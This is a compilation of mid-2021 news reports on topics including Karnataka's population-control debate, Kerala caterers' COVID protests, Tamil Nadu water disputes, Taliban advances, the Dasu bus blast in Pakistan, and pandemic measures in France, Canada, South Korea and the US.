Dr Rathnamala Desai, national president of Family Planning Association of India (FPAI), and Professor of Obstetrics & Gynaecology and Principal, SDM College of Medical Sciences, Dharwad, said, The state cannot take away reproductive rights of individuals in a democratic country. Coercion, compulsion and disincentives will not affect the population dynamics.

We have unpleasant examples from our past experiences. The issues that should concern the government include inequality, and social and gender discrimination in access to health, education and employment. A woman should have equal opportunities and rights in education, employment, property among others in reality and not just on paper.

She said the State Government must invest in health and education and reduce maternal and neonatal mortality. Instead of permanent sterilisation, long-acting reversible contraception should be encouraged. She said legislation will further disempower women on their right to reproductive health and lead to increased illegal practice of sex-selection and unsafe abortions. Women in India have little say on their reproductive health, she noted.

Demographic experts said it is a tactic of the government to shift focus from real issues. We have so many other important issues to focus on right now. We need strategies, research to mitigate the pandemic, vaccine production, distribution strategies, the economy is crashing, fuel prices are going up. With so many issues on hand, we are talking of something which is absolutely not necessary, said a researcher and demographic expert on the condition of anonymity.

Prof Amman Madan, Sociologist and Anthropologist at Azim Premji University, said, The real issue is lack of development. We have more than 150 years of data to show that when development goes up, the rate of having children comes down automatically. The high rate of children is basically for the very poor and, as they go into the middle class, the TFR goes down. In reality, it (the policy) cannot be implemented and will not be productive.

Experts argue that the State Government should put its energies into investing strongly in infrastructure, deep investment in good and stable electricity, good roads, IT infrastructure, network, free education and health infrastructure, raw materials, etc, strengthen small businesses and not waste energy on optics.

Neonatal mortality a worry

Karnatakas fertility rate at 1.7 (2019-20) is lesser than most other North Indian states (UP 2.7, 2015-16), but neonatal mortality is very high at 15.8 (per thousand births). In Kerala, it is 3.4 (per thousand births).

77 pc of sterilisation is tubectomy

According to the National Family Health Survey (NFHS-4), 2015-16, 77 per cent of sterilisations are tubectomies. According to data, 54 per cent of Indian men decide what contraception women should take, but their participation in contraception is abysmal.
Bechu S By

Online Desk

The bride and groom, dressed in traditional wedding attire, sat in adjacent chairs. A giant white paper was unrolled over the bench in front of them before green banana leaves arrived. A pinch of salt on the side was the first to land on the giant leaf before tasty dishes followed one after the other...

The scene was not a post-wedding feast at some Kerala town but a mock reception held in protest by the All Kerala Caterers Association (AKCA) on the premises of the Secretariat in Thiruvananthapuram earlier this month.

In another incident, a couple got married in front of a Beverage Corporation (Bevco) outlet in Kozhikode in support of the struggling caterers.

Kerala is gradually unlocking in steps but social events involving large crowds remain forbidden. The maximum participation in weddings remains capped at 20 while house warmings, baptisms and birthday parties face similar restrictions making life difficult for caterers. The fuel price hike is not helping either, they say.

Caterers' association president Varghese refuses to mince words while voicing his displeasure at the way Kerala's unlocking is moving. He questions how the government can let Bevco outlets function across the state with ill-disciplined long queues but deny permission to auditoriums and similar businesses.

"The industry won't survive by serving 20 people a day. Many have entered this profession in the last couple of years taking bank loans on their properties, ornaments etc. A lot of middle east-returnees have also invested their life savings in catering. Most of them on the verge of complete collapse," Varghese said.

Short-term relief

Things were slowly picking up for the industry at the beginning of 2021. After the national lockdown and months of a blanket ban on social events, there were signs of normalcy returning as up to 100 people were allowed at weddings. Though it was still a far cry from pre-Covid days, five or six such contracts meant the caterers were able to make small profits after paying their chefs, drivers and other employees.

ALSO READ | Covid unlocking: Govt ignores expert panel, goes by officials wisdom

"During marriage seasons, I used to get monthly contracts worth Rs 7 lakh on an average. Following national lockdown in March, we shut shop for many months and there was absolutely no income. By February 2021, we were gradually getting back and business worth Rs 3-4 lakhs was on the cards. People were scared and reluctant, but there were good signs," Kollam-based caterer Krishnakumar Kottathala said.

Parcel culture breaks down

Some like Krishnakumar also experimented with home delivery to stay afloat.

"We used to pick a neighbourhood and travel with packed fried rice and biryani. It was a success as we used to sell about 200 packs per day. This helped me pay my migrant staff members on time and meet other small expenses," he said.

Just when Krishnakumar's tribe thought the worst was past them, the second wave arrives and things were back to square one. Fresh travel restrictions meant transport and sales weren't easy. A trend where families tried handing food packs to guests instead of hosting feasts also died down as the cases started to go up. Some caterers offered to deliver food to people at home but not many were receptive to the idea. In this, the willingness to go the extra mile couldn't help them, Varghese lamented.

There are over 2,000 registered caterers in the state and most of them are certain that they can't survive another year without work.

"January 2021 was far better compared to August 2020 -- the month when we restarted after the first lockdown. Now, it has come down to a situation where we are ready to cook at whatever rate is offered. Negotiation is not an option anymore," said Thrissur-based Marvel caterers.

Solution?

According to the caterers' association, over two lakh people are dependent on this industry and many of them are forced to do menial jobs as there is hardly any work available. Then there are students and the youth who are hired on daily wages to serve at buffets. All big-scale caterers have regular employees -- mainly cooks and drivers -- who are paid by the assignment. More hands are hired if needed. However, the owners are now forced to shun the salary system and bring all their long-serving workers on a contract basis.

"We are not in a position to give anyone salary. The workers are well aware of the situation. If we get an order or two, the entire return is divided among the workers as their situation is worse than ours. It is all about staying alive now," Varghese said.

"We tried our best to continue the salary system initially. But it became impossible very soon and we were forced to switch to a pay-per-work model since May-end," said Paul of Marvel Caterers, who have employed six permanent staff including drivers and chefs.

AKCA feels that as long as the government insists that no more than 20 people can attend weddings and similar events, things are not going to improve for them. They have reached out with proposals to ensure work without putting Kerala in harm's way.

"Let auditoriums open with 25% occupancy. The government can dictate the time frame, afternoon or evening, we don't mind. People are not going to hang around if asked - they can attend the feast in batches and leave and protocols won't be broken. After all, these are not Bevco outlets," Varghese said.

The association's state leadership decided to start agitating in front of the Secretariat and before Bevco outlets throughout the state after multiple efforts to convince the government failed. They even shot letters to all 140 MLAs of Kerala but no official response from the Cabinet has reached them yet.

Act before it's too late

AKCA leaders warn many families are on the verge of poverty and the government needs to act fast. "This virus is here to stay. It is high time we accept it is not going anywhere and learn to exist. They need to consider us before the next relaxations are decided," Varghese concluded.
R Sivakumar By

Express News Service

TIRUPATHUR: In the wake of the recent heavy downpour bringing copious flow into Palar river and its tributary Mannar river in Vaniyambadi and its surrounding places in Tirupathur district, the chorus for constructing check dams across Palar grows louder with environmental activists pressing for fulfilling the long pending demand.

A check dam is demanded at Ambalur in Vaniyambadi so as to hold back water and divert it through canals for irrigation, besides recharging groundwater table which has gone into unfathomable depths.

Its a long-pending demand for raising a check dam at Ambalur because the groundwater level has gone down beyond 1500 feet owing to overexploitation of water for drinking purposes in several parts of the district, said Ambalur A Asokan, an environmental activist.

The geographical location of Ambalur is ideal for the check dam because the water flows down from Pullur check dam in neighbouring Andhra Pradesh after meandering through Avarankuppam and Ramanaickenpet, he added.

The demand for constructing another check dam at Pachakuppam in Ambur across the Palar river has also gone unheeded to so far.

During the recent torrential showers, Palar witnessed the flow of water up to 14,000 cusecs.

Another environmental activist and vice-president of PMKs State youth wing Kavitha Suresh suggests the construction of a check dam at Thakarakuppam in Mallakunda across the Palar river before it re-enters Andhra Pradesh.

Palar river takes a U-turn at Mallakunda as it enters into Tamil Nadu before re-entering Andhra Pradesh and further flows down into our State. So, if we can construct a check dam at Thakarakuppam, we can store huge quantity and utilise for needs of Tirupathur, she said.

However, she added, We need to follow legal procedures to get the consent of the concerned bodies of the Centre before proceeding because Andhra Pradesh may try to obstruct the project.

Palar AC Venkatesan, general secretary of Tamil Nadu All Farmers Associations Coordination Committee, wants the State government to pay immediate attention to the woes of the people depending upon Palar river as men at the helm of affairs had ignored the interests of the region.

Northern Tamil Nadu has been suffering without adequate availability of water. Andhra Pradesh has blocked water in Palar by raising several check dams. So, our government should pay attention to the issue and take earnest steps to resolve them, he said.
By Express News Service

THANJAVUR/TIRUVARUR/TIRUCHY: Members of Cauvery Rights Retrieval Committee (CRRC) on Tuesday burnt effigies of Karnataka Chief Minister BS Yediyurappa in 24 places across delta districts of Thanjavur and Tiruvarur, in protest against the States attempt to build a new dam across the Cauvery at Mekedatu. In Thanjavur, the constituents of CRRC burnt the effigy in front of the railway junction.

They raised slogans saying that building a dam is against the verdict of the Cauvery tribunal and the Supreme Court. They said a reservoir with a capacity of 67 TMC at Mekedatu would block even the floodwater in Cauvery from reaching the Mettur dam.

The protesters urged the Tamil Nadu government to depute a fact finding committee to the site and if there is any evidence of preliminary works for the dam, the State should approach the apex court to get a stay order. In Tiruvarur district, protesters gathered near Mannargudi and burnt the effigy of Yeddiyurappa and raised slogans. As many as 20 farmers staged protest near Periyar statue at the Central Bus Stand in Tiruchy on Tuesday morning.
By Express News Service

HYDERABAD: In a major setback to the Maoist movement, Ravula Ranjit, son of the late Dandakaranya Special Zone secretary, surrendered before Director General of Police M Mahender Reddy on Wednesday. Ranjit had been playing a key role in the banned party after the death of his father in August last year.

Police said Ranjit alias Srikanth was involved in four brutal attacks on security forces and one ambush in addition to other incidents during his underground life.

After the death of his father Katta Ramachandra Reddy alias Rajudada, he succeeded as the secretary of the Dandakaranya Special Zone committee. Realising the futility of continuing in the outlawed outfit, Ranjit surrendered to the Telangana government as it was offering several incentives for Maoists to make a fresh start in life.

The police handed over a demand draft for Rs 4 lakh to him for his rehabilitation and Rs 5,000 in cash for his immediate needs.

The DGP, after Ranjit's surrender, appealed to Maoist cadres to join the mainstream and avail the benefits the Telangana government was offering them.
By PTI

WASHINGTON: A bill has been introduced in the US House of Representatives to bolster America's ties with countries in Indo-Pacific, particularly India, Australia and Japan, recognising the strategic significance of the region where Washington has political, economic and security interests.

Introduced by Congressman Joaquin Castro, the "Indian Ocean Region Strategic Review Act" calls for continuing to build the US-India relationship in order to regularise security cooperation through the negotiation of agreements concerning access, communication and navigation.

As a part of the US engagement in the Indo-Pacific, it shall be the policy of the United States to strengthen engagement with the countries in the Indian Ocean region, including with governments, civil society and private sectors to promote America's political engagement with the region, it said.

The bill introduced by the Democratic Party lawmaker from Texas also seeks to promote cooperation with the US allies in the Indo-Pacific, including Japan and Australia, and major defence partners, including India and NATO allies, including the UK and France, to support a rules-based order in such a region.

The US, India, Australia and Japan are members of an informal grouping known as Quad which aims at strengthening a rules-based order in the strategically-important Indo-Pacific amidst China's aggressive actions in the region. The representatives for the four-member nations have met periodically since its establishment in 2007.

In March, US President Joe Biden hosted the first Quad Leaders' Summit held virtually which was attended by Prime Minister Narendra Modi, Australian Prime Minister Scott Morrison and Japanese Prime Minister Yoshihide Suga.

The evolving situation in the Indo-Pacific region in the wake of China's increasing military muscle-flexing has become a major talking point among leading global powers. The US seeks to make Quad a security architecture to check China's growing assertiveness.

China, which is engaged in hotly-contested territorial disputes in the South and East China Seas, has made substantial progress in militarising its man-made islands in the past few years. Beijing claims sovereignty over all of the South China Sea.

But Vietnam, Malaysia, the Philippines, Brunei and Taiwan have counterclaims. In the East China Sea, China has territorial disputes with Japan. Both maritime areas in the South and East China seas are rich in minerals, oil and other natural resources and are also vital to global trade.

In November 2017, India, Japan, the US and Australia gave shape to the long-pending proposal of setting up the Quad to develop a new strategy to keep the critical sea routes in the Indo-Pacific free of any influence.
By PTI

BEIJING: In a significant policy statement on the Taliban which is making big gains in its offensive in Afghanistan, China has asked it to make a "clean break" from all terrorist forces, especially the al-Qaida-backed Uyghur Muslim militant group ETIM fighting for the volatile Xinjiang province's independence.

In his media briefing at Dushanbe, Chinese Foreign Minister Wang Yi stressed that further spread of the war in Afghanistan, especially an all-out civil war, should be avoided and pitched for restarting of intra-Afghan negotiations to realise political reconciliation and prevention of all kinds of terrorist forces from gaining ground in Afghanistan.

The Taliban, as a major military force in Afghanistan, should realise the responsibilities it bears for the nation, make a "clean break" with all terrorist forces and return to the mainstream of Afghan politics, Wang said on Tuesday.

He also praised the Afghanistan government -- which often accuses Beijing's "all-weather ally" Pakistan of harbouring the Taliban militants -- saying that the government headed by President Ashraf Ghani has done a lot of work for national unity, social stability and improvement of people's livelihood, which should be justly evaluated.

ALSO READ | Taliban capture key Afghanistan border crossing along Pakistan frontier

Wang made the remarks during a joint press conference with Tajik Foreign Minister Sirojiddin Muhriddin following their talks in Dushanbe, official media here reported on Wednesday.

His comments came ahead of the Foreign Ministers of the Shanghai Cooperation Organisation (SCO) meeting in Dushanbe to be attended by Wang besides External Affairs Minister S Jaishankar and Pakistan Foreign Minister Shah Mahmood Qureshi.

Significantly, Afghanistan Foreign Minister Mohammad Hanif Atmar has been invited to take part in the SCO contact group which will meet soon after the Foreign Ministers meeting.

The eight member SCO grouping consists of China, Russia, Kazakhstan, Kyrgyzstan, Tajikistan, Uzbekistan, India and Pakistan.

Afghanistan is an observer of the SCO group.

Wang said that post the US troop withdrawal, China expects Afghanistan to establish a broadly inclusive political arrangement, pursue a solid Muslim policy, resolutely combat all terrorism and extremist ideologies, and be committed to friendly relations with all neighbouring countries.

Observers say Wang's comments on the Taliban indicate that China is not buying the Taliban's recent overtures stating that it considers Beijing as a "friend".

China is concerned that hundreds of East Turkistan Islamic Movement (ETIM) fighters, reportedly grouping in Afghanistan, mostly Badakhshan province sharing a 90-km long border with Xinjiang through the narrow Wakhan corridor, will sneak into Xinjiang or through the Pakistan-occupied Kashmir (POK) and the Central Asia states.

The ETIM is trying to carry out an insurgency in Uyghur Muslim dominated Xinjiang province.

Xinjiang also shares borders with PoK and Tajikistan.

China's massive crackdown in Xinjiang, observers say, has exasperated the resentment among native Uyghur Muslims in the province and prompted the US, the EU and international human rights organisations to accuse Beijing of committing genocide.

Also, the 12th report of the Analytical Support and Sanctions Monitoring Team of the United Nations last month confirmed the presence of ETIM militants in Afghanistan.

"The ETIM consists of several hundred members, located primarily in Badakhshan and neighbouring Afghan provinces," the report submitted to the UN Security Council said.

ALSO READ | Afghan Taliban says it sees China as a 'friend', promises not to host Uyghur militants: Report

Amidst the Taliban gains, China evacuated 210 of its nationals from Afghanistan last week.

Playing down China's concerns, Taliban spokesman Suhail Shaheen said his group sees China as a "friend" of Afghanistan and is hoping to talk to Beijing about investing in reconstruction work "as soon as possible".

Shaheen also said that the Taliban would no longer allow China's Uyghur separatist fighters from Xinjiang, some of whom had previously sought refuge in Afghanistan, to enter the country.

The Taliban would also prevent al-Qaeda or any other terrorist group from operating there, he said.

"We have been to China many times and we have good relations with them," Shaheen told Hong Kong-based South China Morning Post on July 10, recalling the meetings hosted by China in the past.

"China is a friendly country that we welcome for reconstruction and developing Afghanistan," he said, adding that "If (the Chinese) have investments, of course, we ensure their safety".

Commenting on the Taliban's overtures to Beijing, Andrew Small, a senior transatlantic fellow with the German Marsh Fund said: "whatever benign language the Taliban use, China remains highly concerned about the security situation there."

He said that China's biggest concern in its dealings with the Taliban had always been whether it was sheltering Uyghur separatists and whatever benign language the Taliban use, China remains highly concerned about the security situation there.

In his media briefing at Dushanbe, Wang stressed that further spread of the war in Afghanistan, especially an all-out civil war, should be avoided and pitched for restarting of intra-Afghan negotiations to realise political reconciliation and prevention of all kinds of terrorist forces from gaining ground in Afghanistan.

Afghanistan is an independent and sovereign country and history shows that any coercive intervention in Afghanistan is bound to fail, he said, indicating China's unwillingness to commit its military to the war-torn country to fill in the void left by the US and NATO troops.

Considering the security risks, China is goading Pakistan, which shares close ties with the Taliban, to help stabilise Afghanistan amidst the Taliban offensive.

It is yet to be seen how Wang's praise of the Afghan government for doing good work will be received in Pakistan as it shares frosty ties with the Ashraf Ghani government over its allegation of harbouring the Taliban militants.

Early this month, Wang who has stepped up trilateral diplomacy with Pakistan and Afghanistan persuading them to resolve their differences, asked Islamabad to step up cooperation to contain security risks in Afghanistan in the light of the latest offensive by the Taliban following the withdrawal of the US.

"(China and Pakistan) need to defend regional peace together. Problems in Afghanistan are practical challenges that China and Pakistan both face," especially the expansion of both international and regional terrorism, Wang said on July 8 while addressing a meeting of the 70th anniversary of diplomatic relations with Pakistan here.

In his address to the SCO Foreign Ministers' meeting on Wednesday, Wang called for a crackdown on terrorist forces designated by the UN Security Council, such as the "three evil forces" of terrorism, extremism and separatism, and the ETIM.

He stressed upholding the common, comprehensive, cooperative and sustainable security concept by the SCO members.
By Associated Press

PARIS: More than 1 million people in France made vaccine appointments in less than a day, according to figures released Tuesday, after the president cranked up pressure on everyone to get vaccinated to save the summer vacation season and the French economy.

Some bristled at President Emmanuel Macron's admonition to "get vaccinated!" immediately, but many people signed up for shots, accepting that getting injected was the only way to return to some semblance of pre-pandemic life.

French government spokesman Gabriel Attal, noting the latest virus surges from South Africa to South Korea, and vaccine shortages in many poorer countries, appealed to his compatriots Tuesday to "look at what's happening in the world."

Macron also announced that special COVID-19 passes will be required starting in early August to enter restaurants and shopping malls and to get on trains and planes.

The announcement raised questions and worries among foreign tourists and as residents of France planning vacations.

An app that centralizes France's vaccine appointments, Doctolib, said Tuesday that 1.3 million people signed up for injections after Macron gave a televised address Monday night.

It was a daily record since France rolled out coronavirus vaccines in December.

People under age 35 made up most of the new appointments, Doctolib said.

Macron said vaccination would be obligatory for all health care workers by Sept. 15, and he held out the possibility of extending the requirement to others.

Around 41% of the French population has been fully vaccinated, though the pace of shots being delivered has waned as summer vacations approached.

ALSO WATCH:

Government spokesman Attal insisted the vaccine mandate wasn't meant to "stigmatize" reluctant health workers but to limit risks to the vulnerable populations they care for.

Some residents said the government's vaccine push makes them feel safer.

At a vaccine center Tuesday in Versailles, finance worker Thibault Razafinarivo, 26, said, "I have a newborn baby at home, and we don't want to take any risks."

A 23-year-old who works in radiology said she wants to protect her family and her patients.

Others, though, expressed frustration at the idea of mandatory vaccines or needing passes to go to a cafe.

"I'm getting vaccinated because I want to have a social life and go on holidays," law student Marius Chavenon, 22, said, adding: I don't think vaccination should be compulsory.

We live in France, we should be able to do what we want.

In Paris, nurse Solene Manable said, "There are many health workers who don't want to get vaccinated because we don't know much about the vaccines."

But she said she understood "many people who are getting vaccinated to be able to go back to restaurants,...to be able to have a normal life again."

Some people said they're now getting vaccinated because Macron also announced that France will start charging money for some virus tests, which up to now have all been free for anyone in French territory.

To get the COVID pass that will soon be required in all restaurants, people must have proof of vaccination or recent virus infection, or a negative test from the last 48 hours.

Restaurant and bar unions demanded a delay for the passes, and government officials were meeting with industry representatives Tuesday.

Restaurant workers expressed concern with enforcing the requirement and fear it could scare customers away after all French eating establishments stayed shuttered for nine months from the pandemic's onset.

Health Minister Olivier Veran defended the new rule, saying, "The question is: It's lockdown or the health pass."

He also welcomed the renewed vaccine interest, saying on BFM television Tuesday: "That's thousands of lives saved."

More than 111,000 people with the virus have died in France.
By ANI

ISLAMABAD: The bar council of Pakistan's Punjab has suspended the licence of Prime Minister Imran Khan's nephew over allegations of attacking the widow of former Balochistan governor Nawab Akbar Bugti.

Dawn reported that Hassaan Khan Niazi, the nephew of the prime minister has been punished by Punjab Bar Council (PbBC) vice-chairman Amjad Iqbal Khan on Tuesday along with four other people while hearing a complaint filed by Shahzadi Nargis.

The copy of the order stated that in view of the "serious allegations" against Niazi, his licence to practice as an advocate was being suspended and the matter was being referred to the bar council's executive committee for further proceedings on July 17, Dawn further reported.

Not even a single person investigated why my license was suspended. No one even bothered looking what the complaint is. Ill tell you all why it was cancelled today: so that I cant appear for @WishahAbubakr in Session court on 15th July 8am

Court: ASJ Sayed Ali Abbass

Bugti Case  Hassaan Niazi (@HniaziISF) July 13, 2021

Reacting to the suspension, Niazi claimed the Punjab Bar Council suspended his licence "without listening to me in an ex-parte hearing"."Immense pressure built on me to back off from blasphemy case against Shahzawar Bugti [...] 5 days ago they even registered a false FIR against me. Inshallah I WILL NEVER BACK OFF," he tweeted.

Last week, a case had been registered against Niazi and four unidentified persons under various charges, including attempted murder, on Nargis' complaint.

In the FIR, she alleged that Niazi and his accomplices first abused her in the presence of her lawyer in the court of additional district and sessions judge Syed Ali Abbas, and then tried to strangulate her with an intention to take her life.

Nargis alleged that she had appeared in the court to seek bail in a 'fake case' lodged against her with the crime circle of Federal Investigation Agency, Lahore. As she appeared before the additional district and sessions judge with her lawyer to seek bail, Niazi first exchanged harsh words with her and then hurled abuses, she said.

The complainant further stated in the FIR that when her lawyer intervened, the attackers including Niazi and his accomplices attacked and tortured them on the court premises. Terming the allegation baseless, Niazi had said the CCTV footage could be checked.
By AFP

KANDAHAR: The Taliban said on Wednesday they had captured the strategic border crossing of Spin Boldak along the frontier with Pakistan, continuing sweeping gains made since foreign forces stepped up their withdrawal.

"The (Taliban) Mujahideen have captured an important border town called Wesh in Kandahar. With this, the important road between (Spin) Boldak and Chaman and Kandahar customs have come under Mujahideen control," Taliban spokesman, Zabihullah Mujahid, said in a statement.

A Pakistan security source confirmed the insurgents had taken control of the crossing. The Afghan defence ministry said it was checking developments. "The Taliban has taken control of the Afghan side of the Chaman-Spin Boldak border crossing. They have raised their flag and removed the Afghan flag," the Pakistani security source told AFP on condition of anonymity.

The Taliban have launched a widespread offensive across the countryside since early May when US-led foreign forces began their final withdrawal of troops. Since then, the insurgents have captured at least three other crossings along the borders with Tajikistan, Turkmenistan and Iran.
By Associated Press

MANSEHRA: Nine Chinese engineers were among 13 people killed on Wednesday when a bus carrying construction workers in northwest Pakistan's mountainous region was "attacked", prompting Beijing to ask Islamabad to thoroughly investigate the incident and severely punish the perpetrators.

The incident took place in Dasu area of Upper Kohistan district of Khyber Pakhtunkhwa province where Chinese engineers and construction workers are helping Pakistan build a dam which is part of the USD 60 billion China-Pakistan Economic Corridor (CPEC), officials said.

At least 13 people, including nine Chinese nationals and two Frontier Corps soldiers, died and 39 others injured when the bus carrying Chinese engineers and workers to the site of the under construction Dassu Dam exploded, Deputy Commissioner Upper Kohistan Muhammad Arif Yusafzai said.

The bus fell into a deep Ravine after the explosion, the official said.

The injured were admitted to nearby hospitals.

Speaking in the National Assembly, Adviser to the Prime Minister on Parliamentary Affairs Babar Awan called it a "cowardly attack" and said it would "not divert attention from the special initiatives between Pakistan and its neighbours."

Awan said he would ask Interior Minister Sheikh Rashid Ahmed to offer a briefing on the country's security situation and to keep this House in the loop about the occurrence.

No group or individual has claimed the blast yet, China's official Xinhua news agency reported from Islamabad.

In Beijing, China condemned the "bomb attack" on the bus near the Dasu hydropower plant and called on the Pakistan government to give "severe punishment" to the perpetrators behind it.

Asked for details of the casualties and China's reaction to the incident at a media briefing in Beijing, Chinese Foreign Ministry spokesman Zhao Lijian said China expresses its condemnation of the "bomb attack" in Pakistan resulting in the casualties of the Chinese personnel.

He, however, did not provide any official figures of casualties.

"China is shocked by and condemns the bomb attack in Pakistan's Khyber Pakhtunkhwa province which caused Chinese casualties, mourns for the Chinese and Pakistani personnel killed in the attack, and expresses sympathy to their families and the injured," he said.

"Pakistani security forces have taken measures to control the situation, properly transfer and treat the wounded," Zhao said.

"China has asked the Pakistani side to thoroughly get to the bottom of the truth as soon as possible, arrest the perpetrators, severely punish them and earnestly protect the safety of Chinese personnel, institutions and projects in Pakistan," he added.

Thousands of Chinese personnel have been deployed in Pakistan to work on a host of projects being carried out under the aegis of the CPEC.

An eyewitness claimed that there was a loud noise and the bus bounced in the air and fell down, BBC Urdu service reported.

Quoting another eyewitness, it said the bus looked like flying in the air after the blast.

Few seconds later, the bus fell on the ground with a loud thud.

Local people rushed to the spot where the injured were screaming, he said.

However, Pakistan's Water and Power Development Authority (Wapda), which is responsible for dam construction, said in a statement that it was an "accident".

Officials said more details would be provided after the investigation.

"The bus plunged into a deep ravine after the blast and caused heavy losses. One Chinese engineer and one soldier are missing. The rescue operation has been launched," a senior government official said.

Special Assistant to KP Chief Minister Kamran Khan Bangash said that a high level delegation has left for Upper Kohistan to ascertain the facts.

"The media is advised to avoid speculating on the matter," he said.

Bangash said that a large number of security officials were deployed to protect Chinese nationals.

Those who are in critical condition are being shifted via helicopter, he said.

A large number of Rescue 1122 ambulances and officials have reached the spot, he added.

Pakistan's Foreign Office in Islamabad said that the bus carrying Chinese workers plunged into a ravine after a mechanical failure resulting in leakage of gas that caused a blast.

"According to preliminary reports, nine Chinese nationals and three Pakistanis lost their lives," it said, adding that the Chinese workers and accompanying Pakistani staff were proceeding to their work place for an ongoing project.

FO said that further investigations are underway, while the local authorities are providing all possible assistance to the injured.

The Ministry of Foreign Affairs is closely in contact with the Chinese Embassy for coordination and facilitation, it said.

Pakistan and China are close friends and iron-brothers and Pakistan attaches great importance to safety and security of Chinese nationals, projects and institutions in the country, it added.
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EAST HARTFORD  As much as 80 percent of aircraft engine maker Pratt & Whitneys 8,250 salaried workers in Connecticut will be able to work remotely on a regular basis as part of a new company initiative.

P&Ws Office of the Future initiative will require the company, which is part of Massachusetts-based aerospace giant Raytheon, to make technology and design upgrades to its East Hartford campus in order to improve flexibility for local employees, according to the company.

The initiative, according to company officials, also will involve a reassessment of P&Ws office buildings in Connecticut, although the goal is to have enough space so that employees working remotely also will be able to collaborate with colleagues in person.

As disruptive as it was for company employees to have transition to working remotely in March 2020, it caused us to redesign how we get work done, allowing our employees the greatest flexibility while preserving collaboration, Chris Calio, president of P&W, said in a statement.

Like every organization, we had to rapidly adjust to a new normal, Calio said in the statement. Were now carrying those benefits into the future.

Manufacturing employees and others with a critical need to be in an office will continue to work from the companys corporate campus in East Hartford. That includes 1,650 salaried workers who work on classified programs, need lab access or are supporting production lines.

It wasnt immediately clear Tuesday how the pilot program will affect the companys manufacturing plant in Middletown.

The P&W hybrid model will provide employees who are working from home on a regular basis the flexibility to work from any open workspace, without being limited to one of the companys assigned buildings

P&W has selected a design firm to help create physical spaces that emphasize collaboration, from small rooms that can accommodate four to six people, to team rooms that can hold up to 20. Meetings held onsite also will be held on a virtual, video-enabled platform to ensure full participation from all employees, no matter where they are located.

Jill Albertelli, Pratt & Whitneys senior vice president for Transformation & Strategy, said the company is creating a world-class work experience for everyone now and in the years to come.

Our employees are not only designing the future of aviation but also the future of how we work, Albertelli said. It looks different, because it is different and it is a significant culture shift for the company.

P&W has 11,000 employees in Connecticut, according to company officials. Of that total, 25 percent of the companys total workforce, or 2,750 people, are hourly employees.

Pratt has had a flexible work option that predated the onset of the pandemic by at least five years. But according to some company officials, it wasnt at as broad-based as this new initiative.

luther.turmelle@hearstmediact.com
TORONTO  Prime Minister Justin Trudeau said on Thursday Canada could start allowing fully vaccinated Americans into Canada as of mid-August for non-essential travel and should be in a position to welcome fully vaccinated travelers from all countries by early September.

Trudeau spoke with leaders of Canadas provinces and his office released a readout of the call. He noted that if Canadas current positive path of vaccination rate and public health conditions continue the border can open.

Canada would be in a position to welcome fully vaccinated travelers from all countries by early September, the readout said. He noted the ongoing discussions with the United States on reopening plans, and indicated that we could expect to start allowing fully vaccinated U.S. citizens and permanent residents into Canada as of mid-August for non-essential travel.

Trudeau noted Canada continues to lead G20 countries in vaccination rates with approximately 80% of eligible Canadians vaccinated with their first dose and over 50% of eligible Canadians fully vaccinated. He said case numbers and severe illness continue to decline across the country as vaccination rates continue to increase.

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MORE ON THE PANDEMIC:

 Surgeon general urges US fight against COVID-19 misinformation

 WHO wants more access to virus data from China

 Virus cases at 6-month high in Tokyo before Olympics

 COVID-19 takes toll on Catholic clergy, nuns in hard-hit countries

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 Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic and https://apnews.com/hub/coronavirus-vaccine

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HERES WHAT ELSE IS HAPPENING:

SEOUL, South Korea  South Korean officials are pushing for tightened pandemic restrictions beyond the hard-hit capital area as they wrestle with a record-breaking surge in coronavirus cases.

Prime Minister Kim Boo-kyum during a virus meeting Friday called for all local governments outside the greater Seoul area to simultaneously enforce four-person limits on gatherings after 6 p.m. to slow the viral spread.

Permitted social bubbles are even smaller in Seoul and nearby Gyeonggi province and Incheon, where officials are enforcing the strongest Level 4 restrictions that prohibit gatherings of three or more people after 6 p.m., ban visitors at hospitals and nursing homes, and shut down nightclubs and churches.

Lee Ki-Il, deputy minister of health care policy at South Koreas Health Ministry, said during a briefing that national government officials will discuss Kims proposal with local governments later in the day and could announce a decision over the weekend.

The Korea Disease Control and Prevention Agency reported another new 1,536 coronavirus cases, the 10th straight day of over 1,000, including a one-day record of 1,615 on Wednesday. The countrys caseload is now at 175,046, including 2,051 deaths.



HONOLULU  Hawaii Gov. David Ige said Thursday he will maintain a requirement that people wear masks indoors as the spread of the COVID-19 delta variant fuels a spike in cases.

Ige told a news conference the number of new cases in Hawaii has exceeded 100 during three of the last five days. That contrasts to the past couple of months when the seven-day average of new hovered around 50.

The governor said the overwhelming number of people contracting the coronavirus are unvaccinated, and he urged those who are eligible to get their shots.

Hawaii has one of the highest vaccination rates among the 50 U.S. states. So far 65% of the population has received one shot and 58.9% have been fully vaccinated.

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DUBAI, United Arab Emirates  The capital of the United Arab Emirates has announced a sudden overnight lockdown over the coronavirus pandemic, even as the rest of the country remains open for tourism.

The state-run WAM news agency announced late Thursday the lockdown would begin Monday and last each day from 12 a.m. to 5 a.m. It comes just ahead of the long Eid al-Adha holidays in the UAE, which begins Monday as well.

Abu Dhabis Emergency, Crisis and Disasters Committee euphemistically described the lockdown as being part of the National Sterilization Program. The UAE, a federation of seven sheikhdoms, used the same term during lockdowns in 2020 amid the start of the pandemic.

Abu Dhabi has struck a hard line after Dubai reopened for tourism a year ago, requiring PCR tests for those coming over the border. Dubai, like other emirates, have remained open to spur tourism and business even as daily reported new coronavirus case remain around 1,500 a day despite a mass vaccination program.

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LOS ANGELES  Los Angeles County will again require masks indoors even when people are vaccinated.

Meantime, the University of California system announced Thursday it will require coronavirus vaccinations for students, faculty and staff to return to campuses this fall.

The moves are prompted by a sharp increase in virus cases, many of them the highly transmissible delta variant.

Muntu Davis, LA Countys public health officer, said the mask requirement will go into effect at 11:59 p.m. Saturday. Davis said the county has been recording more than 1,000 new cases each day for a week and there is now substantial community transmission.

On Thursday, there were 1,537 new cases and hospitalizations have now topped 400.

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WASHINGTON: President Joe Biden says he hopes to know in the next several days when the U.S. will be lifting COVID-19 travel restrictions on much of Europe.

Speaking during a joint press conference with German Chancellor Angela Merkel, Biden acknowledged that she had pushed him on the matter. The Schengen Zone has continued to face stricter requirements than parts of the world that are now seeing more significant outbreaks of the virus.

Pressed on how that squared with his commitment to follow the science on reopening international travel, Biden said his coronavirus team was studying the issue and that he hoped to be able to announce in the next several days how soon unimpeded travel between the U.S. and much of Europe could resume.

Said Biden: Im waiting to hear from our folks in our COVID team, as to when that should be done.

